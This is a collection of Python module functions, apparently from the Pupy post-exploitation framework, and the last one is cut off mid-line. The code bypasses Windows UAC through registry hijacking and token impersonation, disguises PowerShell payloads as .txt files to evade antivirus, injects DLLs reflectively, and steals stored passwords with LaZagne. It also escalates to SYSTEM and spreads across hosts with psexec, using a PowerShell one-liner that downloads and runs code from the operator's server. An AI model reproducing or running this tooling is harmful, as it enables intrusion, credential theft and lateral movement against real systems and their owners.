def run(self, args): method = args.method if not method: windows_info = self.client.conn.modules["pupwinutils.security"].get_windows_version() if windows_info: # check if your host is previous Vista if float(str('%s.%s' % (windows_info['major_version'], windows_info['minor_version']))) < 6.0: self.success('You are lucky, this Windows version does not implement UAC.') return # Windows 10 if windows_info['build_number'] >= 10240: method = 'fodhelper' # Windows 7, 8 and some Win10 build elif windows_info['build_number'] >= 7600: method = 'eventvwr' else: method = 'tokenimp' elif not windows_info: self.error('No bypassuac method has been found automatically, you should do it manually using the "-m" option') return # check if a UAC bypass can be done if not self.client.conn.modules["pupwinutils.security"].can_get_admin_access(): self.error('Your are not on the local administrator group.') return # ------------------ Prepare the payload ------------------ ros = self.client.conn.modules['os'] rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() random_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)]) local_file = '' remotefile = '' # use powershell if not args.exe and not args.restart: self.info('Using powershell payload') if '64' in self.client.desc['os_arch']: local_file = pupygen.generate_ps1(self.client.get_conf(), x64=True) else: local_file = pupygen.generate_ps1(self.client.get_conf(), x86=True) # change the ps1 to txt file to avoid AV detection random_name += '.txt' remotefile = ros.path.join(tempdir, random_name) cmd = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe' param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile # use a custom exe to execute as admin elif args.exe: self.info('Using custom executable') if os.path.exists(args.exe): local_file = args.exe random_name += '.exe' remotefile = ros.path.join(tempdir, random_name) cmd = remotefile param = u'' else: self.error('Executable file not found: %s' % args.exe) return # restart the current executable as admin else: self.info('Using current executable') exe = self.client.desc['exec_path'].split('\\') if exe[len(exe)-1].lower() in ['powershell.exe', 'cmd.exe'] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmd = self.client.desc['exec_path'] param = u'' # upload payload (ps1 or custom exe) if not args.restart: self.info("Uploading to %s" % remotefile) upload(self.client.conn, local_file, remotefile) # ------------------ Ready to launch the bypassuac ------------------ self.success("Trying to bypass UAC using the '%s' method" % method) # Works from: Windows 7 (7600) # Fixed in: Windows 10 RS2 (15031) if method == "eventvwr": self.client.conn.modules["pupwinutils.bypassuac_registry"].registry_hijacking_eventvwr(cmd, param) # Works from: Windows 10 TH1 (10240) # Unfixed elif method == "fodhelper": self.client.conn.modules["pupwinutils.bypassuac_registry"].registry_hijacking_fodhelper(cmd, param) # Works from: Windows 7 (7600) # Unfixed elif method == "tokenimp": param = param.replace('-w hidden ', '') self.client.conn.modules["pupwinutils.bypassuac_token_imp"].run_bypass_uac_using_token_impersonation(cmd, param) self.success("Waiting for a connection from the DLL (take few seconds, 1 min max)...") # TO DO (remove ps1 file) # ros.remove(remotefile) # not work if removed too fast # remove generated ps1 file if not args.exe and not args.restart: os.remove(local_file)
def bypassuac_through_trusted_publisher_certificate(module, rootPupyPath): ''' Performs a bypass UAC attack by utilizing the trusted publisher certificate through process injection. ''' module.client.load_package("psutil") module.client.load_package("pupwinutils.processes") remoteTempFolder=module.client.conn.modules['os.path'].expandvars("%TEMP%") changeMeTag = "$$$CHANGE_ME$$$" #First powershell script executed by Invoke-BypassUAC mainPowerShellScript = """ cat $$$CHANGE_ME$$$\Invoke-BypassUAC.txt | Out-String | iex Invoke-BypassUAC -Command 'powershell.exe -ExecutionPolicy Bypass -file $$$CHANGE_ME$$$\secdPowerShellScriptPrivileged.ps1' -Verbose """ #Second powershell script executed by first main script (privileged) secdPowerShellScriptPrivileged = """ cat $$$CHANGE_ME$$$\Invoke-ReflectivePEInjection.txt | Out-String | iex cat $$$CHANGE_ME$$$\dllFile.txt | Out-String | iex Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR """ mainPowerShellScriptPath = os.path.join(gettempdir(),'mainPowerShellScript.txt') logging.info("Creating the main Powershell script in %s locally"%(mainPowerShellScriptPath)) f = open(mainPowerShellScriptPath,'w+') f.write(mainPowerShellScript.replace(changeMeTag, remoteTempFolder)) f.close() secdPowerShellScriptPrivilegedPath = os.path.join(gettempdir(),'secdPowerShellScriptPrivileged.txt') logging.info("Creating the second Powershell script in %s locally"%(secdPowerShellScriptPrivilegedPath)) f = open(secdPowerShellScriptPrivilegedPath,'w+') f.write(secdPowerShellScriptPrivileged.replace(changeMeTag, remoteTempFolder)) f.close() logging.info("Uploading powershell code for DLL injection...") upload(module.client.conn, os.path.join(rootPupyPath,"pupy", "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), module.client.conn.modules['os.path'].join(remoteTempFolder,'Invoke-ReflectivePEInjection.txt')) logging.info("Uploading powershell code for UAC Bypass...") upload(module.client.conn, os.path.join(rootPupyPath,"pupy", "external", "Empire", "privesc", "Invoke-BypassUAC.ps1"), module.client.conn.modules['os.path'].join(remoteTempFolder,'Invoke-BypassUAC.txt')) logging.info("Uploading main powershell script...") upload(module.client.conn, mainPowerShellScriptPath, module.client.conn.modules['os.path'].join(remoteTempFolder,'mainPowerShellScript.ps1')) logging.info("Uploading second powershell script...") upload(module.client.conn, secdPowerShellScriptPrivilegedPath, module.client.conn.modules['os.path'].join(remoteTempFolder,'secdPowerShellScriptPrivileged.ps1')) res=module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':',1) logging.info("Address configured is %s:%s for pupy dll..."%(host,port)) logging.info("Looking for process architecture...") if module.client.conn.modules['pupwinutils.processes'].is_x64_architecture() == True: logging.info("Target achitecture is x64, using a x64 dll") dllbuff=pupygen.get_edit_pupyx64_dll(module.client.get_conf()) elif module.client.conn.modules['pupwinutils.processes'].is_x86_architecture() == True: logging.info("Target achitecture is x86, using a x86 dll") dllbuff=pupygen.get_edit_pupyx86_dll(module.client.get_conf()) else: module.error("Target architecture is unknown (!= x86 or x64), abording...") return pupyDLLPath = os.path.join(gettempdir(),'dllFile.txt') remotePupyDLLPath = module.client.conn.modules['os.path'].join(remoteTempFolder,'dllFile.txt') logging.info("Creating the pupy dll in %s locally"%(pupyDLLPath)) f = open(pupyDLLPath,'w+') f.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) f.close() logging.info("Uploading pupy dll...") upload(module.client.conn, pupyDLLPath, remotePupyDLLPath) output = module.client.conn.modules.subprocess.check_output("PowerShell.exe -ExecutionPolicy Bypass -File %s"%(module.client.conn.modules['os.path'].join(remoteTempFolder,'mainPowerShellScript.ps1')), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) logging.info("BypassUAC script output: %s"%(output)) if "DLL injection complete!" in output: module.success("UAC bypassed") else: module.warning("Impossible to know what's happened remotely") module.success("Waiting for a connection from the DLL (take few seconds)...")
def run(self, args): platform = self.client.desc["platform"] if "Windows" in platform: if "64" in self.client.desc["proc_arch"]: arch = "amd64" else: arch = "x86" # load all dependency self.client.load_dll( os.path.abspath( os.path.join(os.path.dirname(__file__), "..", "packages", "windows", arch, "sqlite3.dll"))) self.client.load_package("sqlite3") self.client.load_package("_sqlite3") self.client.load_package("xml") self.client.load_package("_elementtree") self.client.load_package( "pyexpat") # needed for _elementtree module self.client.load_package("win32crypt") self.client.load_package("win32api") self.client.load_package("win32con") self.client.load_package("win32cred") self.client.load_package("colorama") self.client.load_package("impacket") self.client.load_package("calendar") self.client.load_package("win32security") self.client.load_package("win32net") self.client.load_package("lazagne") db = Credentials() passwordsFound = False moduleNames = self.client.conn.modules[ "lazagne.config.manageModules"].get_modules() for module in moduleNames: if args.verbose: self.info("running module %s" % (str(module).split(' ', 1)[0].strip('<'))) passwords = module.run(module.options['dest'].capitalize()) if passwords: passwordsFound = True self.print_results(module.options['dest'].capitalize(), passwords, db) if not passwordsFound: self.warning("no passwords found !") elif "Linux" in platform: isWindows = False if "64" in self.client.desc["os_arch"]: lazagne_path = self.client.pupsrv.config.get( "lazagne", "linux_64") else: lazagne_path = self.client.pupsrv.config.get( "lazagne", "linux_32") if not os.path.isfile(lazagne_path): self.error( "laZagne exe %s not found ! please edit laZagne section in pupy.conf" % lazagne_path) self.error( 'Find releases on github: https://github.com/AlessandroZ/LaZagne/releases' ) return tf = tempfile.NamedTemporaryFile() dst = tf.name tf.file.close() self.success("Uploading laZagne to: %s" % dst) upload(self.client.conn, lazagne_path, dst) self.success("Adding execution permission") cmd = ["chmod", "+x", dst] output = self.client.conn.modules.subprocess.check_output( cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("Executing") cmd = [dst, "all"] output = self.client.conn.modules.subprocess.check_output( cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("%s" % output) creds = self.parse_output(output) db = Credentials() db.add(creds) self.success("Passwords stored on the database") self.success("Cleaning traces") self.client.conn.modules['os'].remove(dst) else: self.error("Platform not supported") return
def run(self, args): #True if ps1 script will be used in bind mode. If reverse connection with ps1 then False isBindLauncherForPs1 = False #Contains ip:port used for bind connection on the target with ps1 script. None if reverse connection and (consequently) isBindLauncherForPs1==False listeningAddressPortForBindPs1 = None #Usefull information for bind mode connection (ps1 script) launcherType, addressPort = self.client.desc[ 'launcher'], self.client.desc['address'] #Case of a pupy bind shell if ps1 mode is used (no reverse connection possible) if launcherType == "bind": self.info( 'The current pupy launcher is using a BIND connection. It is listening on {0} on the target' .format(addressPort)) isBindLauncherForPs1 = True else: self.info( 'The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)' ) isBindLauncherForPs1 = False #Parsing bypassuac methods method = args.method if not method: windows_info = self.client.conn.modules[ "pupwinutils.security"].get_windows_version() if windows_info: # check if your host is previous Vista if float( str('%s.%s' % (windows_info['major_version'], windows_info['minor_version']))) < 6.0: self.success( 'You are lucky, this Windows version does not implement UAC.' ) return # Windows 10 if windows_info['build_number'] >= 10240: method = 'fodhelper' # Windows 7, 8 and some Win10 build elif windows_info['build_number'] >= 7600: method = 'eventvwr' else: method = 'tokenimp' elif not windows_info: self.error( 'No bypassuac method has been found automatically, you should do it manually using the "-m" option' ) return self.success( 'The following bypass uac method has been selected automatically: {0}' .format(method)) # check if a UAC bypass can be done if not self.client.conn.modules[ "pupwinutils.security"].can_get_admin_access(): self.error('Your are not on the local administrator group.') return # ------------------ Prepare the payload ------------------ ros = self.client.conn.modules['os'] rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() random_name = ''.join([ random.choice(string.ascii_letters + string.digits) for n in xrange(6) ]) local_file = '' remotefile = '' # use powershell if not args.exe and not args.restart: clientConfToUse = None self.info('Using powershell payload') if isBindLauncherForPs1 == True: self.info( "BIND launcher is on the target. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port" ) self.info( "Be careful, you have to choose a port which is not used on the target!" ) listeningPort = -1 while listeningPort == -1: try: listeningPort = int( input( "[?] Give me the listening port to use on the target: " )) except Exception as e: self.warning( "You have to give me a valid port. Try again ({})". format(e)) listeningAddress = addressPort.split(':')[0] listeningAddressPortForBindPs1 = "{0}:{1}".format( listeningAddress, listeningPort) self.info( "The ps1 script used for bypassing UAC will be configured for listening on {0} on the target" .format(listeningAddressPortForBindPs1)) bindConf = self.client.get_conf() #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target bindConf['launcher_args'][ bindConf['launcher_args'].index("--port") + 1] = str(listeningPort) clientConfToUse = bindConf else: self.info( "Reverse connection mode: Configuring ps1 client with the same configuration as the (parent) launcher on the target" ) clientConfToUse = self.client.get_conf() if method == "eventvwr": #Specific case for eventvwr method if '64' in self.client.desc['proc_arch']: local_file = pupygen.generate_ps1(clientConfToUse, x64=True) else: local_file = pupygen.generate_ps1(clientConfToUse, x86=True) else: if '64' in self.client.desc['os_arch']: local_file = pupygen.generate_ps1(clientConfToUse, x64=True) else: local_file = pupygen.generate_ps1(clientConfToUse, x86=True) # change the ps1 to txt file to avoid AV detection random_name += '.txt' remotefile = ros.path.join(tempdir, random_name) cmd = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe' param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile # use a custom exe to execute as admin elif args.exe: self.info('Using custom executable') if os.path.exists(args.exe): local_file = args.exe random_name += '.exe' remotefile = ros.path.join(tempdir, random_name) cmd = remotefile param = u'' else: self.error('Executable file not found: %s' % args.exe) return # restart the current executable as admin else: self.info('Using current executable') exe = self.client.desc['exec_path'].split('\\') if exe[len(exe) - 1].lower() in ['powershell.exe', 'cmd.exe' ] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmd = self.client.desc['exec_path'] param = u'' # upload payload (ps1 or custom exe) if not args.restart: self.info("Uploading to %s" % remotefile) upload(self.client.conn, local_file, remotefile) # ------------------ Ready to launch the bypassuac ------------------ self.success("Trying to bypass UAC using the '%s' method" % method) # Works from: Windows 7 (7600) # Fixed in: Windows 10 RS2 (15031) if method == "eventvwr": self.client.conn.modules[ "pupwinutils.bypassuac_registry"].registry_hijacking_eventvwr( cmd, param) # Works from: Windows 10 TH1 (10240) # Unfixed elif method == "fodhelper": self.client.conn.modules[ "pupwinutils.bypassuac_registry"].registry_hijacking_fodhelper( cmd, param) # Works from: Windows 7 (7600) # Unfixed elif method == "tokenimp": param = param.replace('-w hidden ', '') self.client.conn.modules[ "pupwinutils.bypassuac_token_imp"].run_bypass_uac_using_token_impersonation( cmd, param) if isBindLauncherForPs1 == True: self.success( "You have to connect to the target manually on {0}: try 'connect --host {0}' in pupy shell" .format(listeningAddressPortForBindPs1)) else: self.success( "Waiting for a connection from the DLL (take few seconds, 1 min max)..." ) # TO DO (remove ps1 file) # ros.remove(remotefile) # not work if removed too fast # remove generated ps1 file if not args.exe and not args.restart: os.remove(local_file)
def run(self, args): local_file = '' # restart current exe as system if args.restart: self.info('Using current executable') exe = self.client.desc['exec_path'].split('\\') if exe[len(exe) - 1].lower() in ['powershell.exe', 'cmd.exe' ] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmd = self.client.desc['exec_path'] # use powerhell to get a reverse shell elif args.powershell: ros = self.client.conn.modules['os'] rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() random_name = ''.join([ random.choice(string.ascii_letters + string.digits) for n in xrange(6) ]) remotefile = '' self.info('Using powershell payload') if '64' in self.client.desc['os_arch']: local_file = pupygen.generate_ps1(self.client.get_conf(), x64=True) else: local_file = pupygen.generate_ps1(self.client.get_conf(), x86=True) # change the ps1 to txt file to avoid AV detection random_name += '.txt' remotefile = ros.path.join(tempdir, random_name) cmd = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe' param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile cmd = '%s %s' % (cmd, param) self.info("Uploading file in %s" % remotefile) upload(self.client.conn, local_file, remotefile) # migrate else: cmd = args.prog with redirected_stdo(self): proc_pid = self.client.conn.modules[ "pupwinutils.security"].getsystem(prog=cmd) if args.migrate and not args.restart and not args.powershell: migrate(self, proc_pid) self.success("got system !") else: self.success( "Waiting for a connection (take few seconds, 1 min max)...") if args.powershell: os.remove(local_file)
def run(self, args): can_get_admin_access = self.client.remote( 'pupwinutils.security', 'can_get_admin_access', False) # Check if a UAC bypass can be done if not can_get_admin_access(): self.error('Your are not on the local administrator group.') return if args.scan: self.launch_scan() return if not args.scan and not args.method: method = self.launch_scan(print_result=False) if not method: self.error('Get the list of possible methods (-l) and bypass uac using -m <id>') return else: method = args.method # TO CHANGE: # A way should be found to automatically generate a dll (ex: using a generic dll which launch a bat script) if method in ('11', '12', '13', '14'): self.warning('This technique needs to upload a dll. It has been temporary disabled to avoid AV alerts') return # Weird error, root cause not found yet if method in '07': self.warning('This technique does not work with custom exe, only work with cmd.exe') return # Check if it is a bind shell is_bind_launcher = False launcher_type, address_port = self.client.desc['launcher'], self.client.desc['address'] # Case of a pupy bind shell if ps1 mode is used (no reverse connection possible) if launcher_type == "bind": self.info( 'The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format( address_port)) is_bind_launcher = True # ------------------ Prepare the payload ------------------ rjoin = self.client.remote('os.path', 'join') risfile = self.client.remote('os.path', 'isfile') tempdir = self.client.remote('tempfile', 'gettempdir', False) random_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)]) local_file = '' remote_file = '' completion = None if not args.exe and not args.restart: self.info('Using powershell payload') client_conf = None if is_bind_launcher: self.info("BIND launcher is on the target.") self.info("Be careful, you have to choose a port which is not used on the target!") listening_port = -1 while listening_port == -1: try: listening_port = int(input("[?] Give me the listening port to use on the target: ")) except Exception as e: self.warning("You have to give me a valid port. Try again ({})".format(e)) listening_address = address_port.split(':')[0] bind_address_and_port = "{0}:{1}".format(listening_address, listening_port) self.info( "Payload used for bypassing UAC will be " "configured for listening on {0} on the target".format( bind_address_and_port)) bind_conf = self.client.get_conf() # Modify the listening port on the conf. If it is not modified, # the ps1 script will listen on the same port as the initial pupy launcher on the target bind_conf['launcher_args'][bind_conf['launcher_args'].index("--port")+1] = str(listening_port) client_conf = bind_conf else: self.info( "Reverse connection mode: Configuring client with the same configuration as " "the (parent) launcher on the target") client_conf = self.client.get_conf() cmd, completion = powerloader.serve(self, client_conf) # use a custom exe to execute as admin elif args.exe: cmd_args = shlex.split(args.exe, posix=False) arg0, argv = cmd_args[0], cmd_args[1:] argv = ' '.join( repr(x) if ' ' in x else x for x in argv ) if risfile(arg0): self.info('Using remote cmd ({})'.format(args.exe)) cmd = args.exe elif os.path.exists(arg0): self.info('Using custom executable (local)') local_file = args.exe cmd = rjoin( tempdir, "{random_name}.{ext}".format( random_name=random_name, ext="exe")) + ' ' + argv else: self.error('Executable file not found: {}'.format(arg0)) return # restart the current executable as admin else: self.info('Using current executable') exe = self.client.desc['exec_path'].split('\\') if exe[len(exe)-1].lower() in ['powershell.exe', 'cmd.exe'] and exe[1].lower() == 'windows': self.warning('It seems that your current process is %s' % self.client.desc['exec_path']) self.warning('It is not recommended to restart it') return cmd = self.client.desc['exec_path'] # upload payload (ps1 or custom exe) if not args.restart and local_file: self.info("Uploading to %s" % remote_file) upload(self.client.conn, local_file, remote_file, chunk_size=1*1024*1024) # ------------------ Ready to launch the bypassuac ------------------ self.info("Bypass uac could take few seconds, be patient...") bypass_uac = self.client.remote('winpwnage.core.scanner', 'function', False) result = bypass_uac(uac=True, persist=False).run(id=method, payload=cmd) if not result: self.error('Nothing done, check if the id is on the list') else: self.parse_result(result, get_method_id=False) if completion: if not completion.is_set(): self.info('Waiting for a powerloader status updates') completion.wait() elif not args.exe and not args.restart: # Powershell could be longer to execute self.info("Waiting for a connection (take few seconds, 1 min max)...") # TO DO (remove ps1 file) # ros.remove(remote_file) # not work if removed too fast # Remove generated ps1 file if not args.exe and not args.restart and local_file: os.remove(local_file)
def run(self, args): upload(self.client.conn, args.local_file, args.remote_file) self.success("file local:%s uploaded to remote:%s"%(args.local_file, args.remote_file))
def run(self, args): platform=self.client.desc["platform"] if "Windows" in platform: if "64" in self.client.desc["proc_arch"]: self.error('Not yet implemented for a x64 bits process, migrate to a 32 bits process and try again ! \nEx: run migrate -c \'C:\\Windows\\SysWOW64\\notepad.exe\'') return # load all dependency self.client.load_dll(os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "packages", "windows", "x86", "sqlite3.dll"))) self.client.load_package("sqlite3") self.client.load_package("_sqlite3") self.client.load_package("xml") self.client.load_package("_elementtree") self.client.load_package("pyexpat") # needed for _elementtree module self.client.load_package("win32crypt") self.client.load_package("win32api") self.client.load_package("win32con") self.client.load_package("win32cred") self.client.load_package("colorama") self.client.load_package("impacket") self.client.load_package("calendar") self.client.load_package("win32security") self.client.load_package("win32net") self.client.load_package("lazagne") db = Credentials() moduleNames = self.client.conn.modules["lazagne.config.manageModules"].get_modules() for module in moduleNames: if args.verbose: self.info("running module %s"%(str(module).split(' ',1)[0].strip('<'))) passwords = module.run(module.options['dest'].capitalize()) self.print_results(module.options['dest'].capitalize(), passwords, db) elif "Linux" in platform: isWindows = False if "64" in self.client.desc["os_arch"]: lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64") else: lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32") if not os.path.isfile(lazagne_path): self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path) self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases') return tf = tempfile.NamedTemporaryFile() dst = tf.name tf.file.close() self.success("Uploading laZagne to: %s" % dst) upload(self.client.conn, lazagne_path, dst) self.success("Adding execution permission") cmd = ["chmod", "+x", dst] output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("Executing") cmd = [dst, "all"] output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("%s" % output) creds = self.parse_output(output) db = Credentials() db.add(creds) self.success("Passwords stored on the database") self.success("Cleaning traces") self.client.conn.modules['os'].remove(dst) else: self.error("Platform not supported") return
def run(self, args): if "/" in args.target[0]: hosts = IPNetwork(args.target[0]) else: hosts = list() hosts.append(args.target[0]) ext = '' remote_path = '' dst_folder = '' file_to_upload = [] if args.file or args.ps1: tmp_dir = tempfile.gettempdir() if self.client.is_windows(): remote_path = '%s\\' % self.client.conn.modules[ 'os.path'].expandvars("%ALLUSERSPROFILE%") else: remote_path = '/tmp/' # write on the temp directory if args.share == 'C$': dst_folder = "C:\\Windows\\TEMP\\" # write on the root directory else: dst_folder = '%s\\' % args.share.replace('$', ':') # if executable to upload if args.file: if not os.path.exists(args.file): self.error('File not found: %s' % args.file) return if not args.file.endswith('.exe'): self.error('Only executable files could be uploaded') return ext = '.exe' random_name = ''.join(random.sample(string.ascii_letters, 10)) + ext shutil.copy(args.file, tmp_dir + os.sep + random_name) file_to_upload = [random_name] # if uploading powershell else: ext = '.txt' first_stage = ''.join(random.sample(string.ascii_letters, 10)) + ext second_stage = ''.join(random.sample(string.ascii_letters, 10)) + ext file_to_upload = [first_stage, second_stage] launcher = """cat {invoke_reflective_random_name} | Out-String | IEX""".format( invoke_reflective_random_name=dst_folder + second_stage) launcher = create_ps_command(launcher, force_ps32=True, nothidden=False) open(tmp_dir + os.sep + first_stage, 'w').write(launcher) self.success('first stage created: %s' % tmp_dir + os.sep + first_stage) command = getInvokeReflectivePEInjectionWithDLLEmbedded( self.client.get_conf()) open(tmp_dir + os.sep + second_stage, 'w').write(command) self.success('second stage created: %s' % tmp_dir + os.sep + second_stage) for file in file_to_upload: src = tmp_dir + os.sep + file dst = remote_path + file self.info("Uploading file to {0}".format(dst)) upload(self.client.conn, src, dst) self.success("File uploaded") if args.ps1_oneliner: res = self.client.conn.modules['pupy'].get_connect_back_host() ip, port = res.rsplit(':', 1) cmd = '%s/pupygen.py -f ps1_oneliner --ps1-oneliner-listen-port %s connect --host %s:%s' % ( os.getcwd(), str(args.ps1_port), ip, port) self.warning('starting the local server') process = Popen(cmd.split(' '), stdout=PIPE, stderr=PIPE, stdin=PIPE) time.sleep(2) # check if the server has been launched corretly if process.poll(): self.error( 'the server has not been launched, check if the port %s or if the file %s/pupygen.py exists' % (str(args.ps1_port), os.getcwd())) return self.success('server started (pid: %s)' % process.pid) args.command = 'powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString(\'http://%s:%s/eiloShaegae1\')"' % ( ip, str(args.ps1_port)) self.info("Loading dependencies") self.client.load_package("impacket") self.client.load_package('ntpath') self.client.load_package("calendar") self.client.load_package("pupyutils.psexec") with redirected_stdo(self.client.conn): for host in hosts: self.info("Connecting to the remote host: %s" % host) self.client.conn.modules["pupyutils.psexec"].connect( host, args.port, args.user, args.passwd, args.hash, args.share, file_to_upload, remote_path, dst_folder, args.command, args.domain, args.execm) if args.ps1_oneliner: self.warning('stopping the local server (pid: %s)' % process.pid) process.terminate() elif args.ps1: self.warning('Do not forget to remove the file: %s' % dst_folder + first_stage) self.warning('Do not forget to remove the file: %s' % dst_folder + second_stage)
def run(self, args): upload(self.client.conn, args.local_file, args.remote_file) self.success("file local:%s uploaded to remote:%s" % (args.local_file, args.remote_file))
def run(self, args): if not args.arguments: self.error('No command specified {}'.format(args.__dict__)) return cmdargs = args.arguments to_upload = [] to_download = [] to_delete = [] ros = None for i, arg in enumerate(cmdargs): for local, direction, remote in self.updl.findall(arg): if not ros: ros = self.client.conn.modules['os'] if local == '$SELF$': platform = self.client.platform if not platform in ('windows', 'linux'): self.error('Couldn\'t use $SELF$ on platform {}'.format(platform)) xlocal = '$SELF$' else: xlocal = os.path.expandvars(local) xremote = ros.path.expandvars(remote) if direction == '<': to_download.append((xremote, xlocal)) else: if xlocal == '$SELF$': mode = 0711 to_upload.append((xlocal, xremote, mode)) else: if not os.path.exists(xlocal): self.error('No local file {} found (scheduled for upload)'.format( xlocal)) mode = os.stat(xlocal).st_mode to_upload.append((xlocal, xremote, mode)) arg = arg.replace('^'+local+'^'+direction+remote+'^', remote) cmdargs[i] = arg for local, remote, mode in to_upload: if local == '$SELF$': platform = self.client.platform arch = '' config = self.client.get_conf() payload = b'' if self.client.is_proc_arch_64_bits(): if platform == 'windows': payload = pupygen.get_edit_pupyx64_exe(config) else: payload = pupygen.get_edit_pupyx64_lin(config) arch = 'x64' else: if platform == 'windows': payload = pupygen.get_edit_pupyx86_exe(config) else: payload = pupygen.get_edit_pupyx86_lin(config) arch = 'x86' with tempfile.NamedTemporaryFile() as tmp: self.info('Store pupy/{}/{}/size={} to {}'.format( platform, arch, len(payload), tmp.name)) tmp.write(payload) tmp.flush() self.info('Upload {} -> {}'.format(tmp.name, remote)) upload(self.client.conn, tmp.name, remote) else: self.info('Upload {} -> {}'.format(local, remote)) upload(self.client.conn, local, remote) ros.chmod(remote, mode) cmdenv = { 'stderr': (None if args.n else subprocess.STDOUT), 'universal_newlines': False, } if len(cmdargs) == 1 and ' ' in cmdargs[0]: cmdenv.update({ 'shell': True }) cmdargs = cmdargs[0] else: cmdenv.update({ 'shell': False }) if args.s: cmdargs = [ 'cmd.exe', '/c', ] + cmdargs if self.client.is_windows() else [ '/bin/sh', '-c', ' '.join( '"'+x.replace('"','\"')+'"' for x in cmdargs ) ] self.pipe = self.client.conn.modules[ 'pupyutils.safepopen' ].SafePopen(cmdargs, **cmdenv) if hasattr(self.job, 'id'): self.success('Started at {}): '.format( datetime.datetime.now())) self.success('Command: {}'.format(' '.join( x if not ' ' in x else "'" + x + "'" for x in cmdargs ) if not cmdenv['shell'] else cmdargs)) close_event = threading.Event() def on_read(data): self.stdout.write(data) def on_close(): close_event.set() self.pipe.execute(on_close, None if args.N else on_read) while not ( self.terminate.is_set() or close_event.is_set() ): close_event.wait() if self.pipe.returncode == 0: self.success('Successful at {}: '.format(datetime.datetime.now())) else: self.error( 'Ret: {} at {}'.format(self.pipe.returncode, datetime.datetime.now())) for remote, local in to_download: if ros.path.exists(remote): self.info('Download {} -> {}'.format(remote, local)) download(self.client.conn, remote, local) else: self.error('Remote file {} not exists (scheduled for download)'.format(remote)) if hasattr(self.job, 'id'): self.job.pupsrv.handler.display_srvinfo('(Job id: {}) Command {} completed'.format( self.job.id, cmdargs))
def run(self, args): if not args.arguments: self.error('No command specified {}'.format(args.__dict__)) return cmdargs = args.arguments to_upload = [] to_download = [] to_delete = [] ros = None for i, arg in enumerate(cmdargs): for local, direction, remote in self.updl.findall(arg): if not ros: ros = self.client.conn.modules['os'] if local == '$SELF$': platform = self.client.platform if not platform in ('windows', 'linux'): self.error( 'Couldn\'t use $SELF$ on platform {}'.format( platform)) xlocal = '$SELF$' else: xlocal = os.path.expandvars(local) xremote = ros.path.expandvars(remote) if direction == '<': to_download.append((xremote, xlocal)) else: if xlocal == '$SELF$': mode = 0711 to_upload.append((xlocal, xremote, mode)) else: if not os.path.exists(xlocal): self.error( 'No local file {} found (scheduled for upload)' .format(xlocal)) mode = os.stat(xlocal).st_mode to_upload.append((xlocal, xremote, mode)) arg = arg.replace('^' + local + '^' + direction + remote + '^', remote) cmdargs[i] = arg for local, remote, mode in to_upload: if local == '$SELF$': platform = self.client.platform arch = '' config = self.client.get_conf() payload = b'' if self.client.is_proc_arch_64_bits(): if platform == 'windows': payload = pupygen.get_edit_pupyx64_exe(config) else: payload = pupygen.get_edit_pupyx64_lin(config) arch = 'x64' else: if platform == 'windows': payload = pupygen.get_edit_pupyx86_exe(config) else: payload = pupygen.get_edit_pupyx86_lin(config) arch = 'x86' with tempfile.NamedTemporaryFile() as tmp: self.info('Store pupy/{}/{}/size={} to {}'.format( platform, arch, len(payload), tmp.name)) tmp.write(payload) tmp.flush() self.info('Upload {} -> {}'.format(tmp.name, remote)) upload(self.client.conn, tmp.name, remote) else: self.info('Upload {} -> {}'.format(local, remote)) upload(self.client.conn, local, remote) ros.chmod(remote, mode) cmdenv = { 'stderr': (None if args.n else subprocess.STDOUT), 'universal_newlines': False, } if len(cmdargs) == 1 and ' ' in cmdargs[0]: cmdenv.update({'shell': True}) cmdargs = cmdargs[0] else: cmdenv.update({'shell': False}) if args.s: cmdargs = [ 'cmd.exe', '/c', ] + cmdargs if self.client.is_windows() else [ '/bin/sh', '-c', ' '.join('"' + x.replace('"', '\"') + '"' for x in cmdargs) ] self.pipe = self.client.conn.modules['pupyutils.safepopen'].SafePopen( cmdargs, **cmdenv) if hasattr(self.job, 'id'): self.success('Started at {}): '.format(datetime.datetime.now())) self.success('Command: {}'.format(' '.join( x if not ' ' in x else "'" + x + "'" for x in cmdargs) if not cmdenv['shell'] else cmdargs)) log = None if args.log: log = args.log.replace('%m', self.client.desc['macaddr']).replace( '%p', 